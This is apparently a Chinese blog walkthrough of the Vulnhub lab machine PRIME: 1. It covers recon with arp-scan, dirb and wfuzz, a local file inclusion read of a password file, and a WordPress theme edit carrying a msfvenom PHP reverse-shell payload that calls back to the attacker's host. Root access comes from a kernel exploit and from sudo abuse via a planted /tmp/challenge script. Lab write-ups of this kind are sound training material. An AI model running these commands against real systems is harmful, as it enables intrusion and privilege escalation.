Vulnhub-靶机-PRIME: 1

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/prime-1,358/

nmap扫描结果

只开了两个端口,22和80端口,直接访问80端口看看

没发现什么有价值的信息,使用dirb进行爆破目录看看

发现了3类有用的地址,分别是 dev , index.php ,  wordpress ; 分别访问其页面看看

这里提示要再次进行目录爆破深入挖掘,先放着,看两个

确认访问 http://192.168.56.111/index.php和不带index.php访问是一样的

WordPress页面如上

到了这一步,那我们根据上面3个线索向后找,第一个是提示需要深挖目标靶机的目录,那么我再次尝试使用dirb命令指定扩展名进行挖掘试试看看

dirb http://192.168.56.111 -X .txt,.php,.html,.zip

发现如下3个URI地址,其中一个index.php跟上面探测重复了,先访问下secret.txt 看看

发现了重要信息,那么继续跟着这个线索向后操作,这里也说明下,当线索很多的时候,一个一个的来,当其中一个线索断了,再试另一个;根据上面提示像是要使用wfuzz进行模糊测试

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.56.111/index.php?FUZZ=shit

仔细从上至下看了下,显示了太多信息其中有一个不一样的,为了方便查看反馈,我再次fuzz看看,这次添加一个过滤参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.56.111/index.php?FUZZ=shit

根据上述信息可以确认存在参数file 访问看看 http://192.168.56.111/index.php?file

没看到什么东西,看到此类URL,尝试下LFI看看,根据上面的提示有个文件location.txt 访问:http://192.168.56.111/index.php?file=location.txt

得到如上提示,意思是使用另一个php文件带入此参数访问看看

 查看下此页面的源代码

 得知有个密码文件password.txt 在目录/home/saket下面,直接LFI读文件 http://192.168.56.111/image.php?secrettier360=/home/saket/password.txt

得到密码:follow_the_ippsec

使用此密码尝试ssh用户saket和victor,都没有成功,那么试试是不是WordPress用户victor的密码,判断目标靶机WordPress是否存在用户victor有两个依据,一个是目标靶机的web上有对应用户写的文章,另一个就是通过wpscan进行扫描探测出来的,发现过程如下

wpscan --url http://192.168.56.111/wordpress -e

通过访问WordPress的默认后台路径输入对应的账号和密码,真的成功登陆了,在里面搜罗一下,根据经验正常情况下主题里面的php文件直接修改代码为一句话就可以拿shell,但是这里找了好久就发现了文件secret.php可以修改并更新的,那么这里使用metasploit进行利用,通过msfvenom直接生成一个php反弹shell代码更新到目标文件secret.php然后配置好metasploit访问secret.php即可拿shell了,具体过程如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.101 lport=8833 -f raw -o bmfx.php

将上述生成的代码直接更新到secret.php文件中,如下:

配置好metasploit,访问 http://192.168.56.111/wordpress/wp-content/themes/twentynineteen/secret.php  成功反弹shell

开始提权,这里先使用内核本地提权

我更改lhost为192.168.56.101,此IP地址跟靶机互通

成功提权,拿到root权限,获得root.txt

再提一下,这里也可有不使用metasploit进行提权,可以通过kali搜索对应的内核漏洞C代码然后编译生成可执行的exp传至目标靶机进行提权

============================================================================================================================================================================================================

另一种提权方式:

通过上面metasploit获得的普通权限,切换到shell环境下,变成友好的shell环境之后查看sudo信息,发现saket用户下的enc文件是可以通过sudo以root方式执行

执行了一下文件enc,发现需要密码,于是在靶机上搜罗了一把,找到密码

执行了一下然后输入密码,发现报错没权限,想到上面的sudo信息,刚好此处可以sudo执行

生成了两个文件一个是key.txt 另一个是enc.txt ,信息如上所示,根据提示是要讲ippsec加密成md5然后当做私钥去解密enc.txt的内容,这里需要用到两个网站:https://www.cmd5.com/hash.aspx 和 https://www.devglan.com/online-tools/aes-encryption-decryption

最终操作过程如下:

最终的解密后的base64编码信息我丢到burpsuite上查看如下:

得到用户:saket 密码:tribute_to_ippsec ,在当前shell环境下直接su切换过去,切换过去之后再次执行sudo -l看看是否可以提权

使用sudo的方式执行了上面提示的信息

发现报错显示/tmp/challenge没有找到,我到该目录下看了下,发现并没有此文件,那么可以通过新建此文件,然后写入/bin/bash进行提权

echo '#!/bin/bash' > challenge
echo "/bin/bash" >> challenge
chmod +x challenge

上面都操作好了,直接开始提权

 

posted @ 2020-09-24 17:59  皇帽讲绿帽带法技巧  阅读(865)  评论(0编辑  收藏  举报